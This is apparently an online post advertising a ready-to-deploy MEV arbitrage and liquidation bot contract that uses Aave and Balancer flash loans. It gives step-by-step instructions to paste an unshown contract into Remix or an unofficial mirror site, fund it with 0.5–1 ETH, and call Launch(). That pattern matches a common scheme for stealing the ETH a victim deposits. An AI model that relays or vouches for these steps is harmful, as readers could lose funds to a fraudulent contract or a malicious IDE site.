Basically, contract for MEV: takes flash loans, runs arbitrage between DEXes, does liquidations. Everything is ready, deploy and use.

What it does:

Essentially: contract takes tokens on loan (flash loan), exchanges them for other tokens through DEX, then returns the loan + fee, extracting profit from price differences.

Important: the whole scheme is built so that the entire process happens within one transaction of one contract — from taking the loan to repayment and getting profit.

• Aave V3 flashLoanSimple: takes flash loan and calls executeOperation(...) callback, where the strategy is executed.

• Balancer Vault flashLoan: multi-asset flash loan and receiveFlashLoan(...) callback.

• DEX cycle (arbitrage): 2 swaps (Uniswap V3 ↔ SushiSwap V2) with minOut and minProfit checks.

• Liquidation (Aave V3): liquidationCall(...) with minCollateralOut check.

• Withdrawals: withdrawEth(...), withdrawToken(...) + emergency emergencyTokenRecovery(...).

How to run:

Owner contract — you are the owner, call functions, it does flash loans and strategies in one transaction.

Quick scheme:

1. Create contract in Remix: https://remix.ethereum.org/ or https://portable-remixide.org

According to Screenshot:

• 1- Create .sol file and paste contract in editor field myBot.sol

• 2- Compilation tab > version 0.8.20 > Compile button

• 3- Deploy tab > Select Executor contract > press Deploy Contract

1. Top up contract balance (0.5-1 ETH)

2. Run Launch() — it takes loan and performs operations

3. If need to withdraw profit — press withdrawEth() or withdrawToken()

Simple start: Launch() — loan amount is calculated as contract_balance * 200.

• Aave flash loan: executeFlashLoanArbitrage(asset, amount, params)

• Balancer flash loan: executeBalancerFlashLoan(tokens, amounts, userData)

params/userData are encoded as:

• operationType:

• 1 — DEX cycle

• 2 — liquidation

Data formats:

(uint8 firstDex, address tokenIn, address tokenOut, uint24 uniFee, uint256 minOut1, uint256 minOut2, uint256 minProfit)

• firstDex: 0 = UniswapV3→Sushi, 1 = Sushi→UniswapV3

• uniFee: 500 / 3000 / 10000

• minOut1/minOut2: slippage protection at each step

• minProfit: minimum profit (otherwise transaction reverts)

(address user, address debtAsset, address collateralAsset, uint256 debtToCover, bool receiveAToken, uint256 minCollateralOut)

Important to know:

• Don't expect easy money. Everything depends on the market — gas, slippage, competition, positions.

About ETH:

0.5-1 ETH will last a long time — for gas, if need to handle ETH/WETH, and just in case.

Roughly about profit: depends on loan size and market situation. For arbitrage usually 0.01-0.1% of amount, for liquidations — percentage of position. With 100 ETH loan might get 0.01-0.1 ETH profit, but this is very approximate and without guarantees — market changes every second.

Good luck!
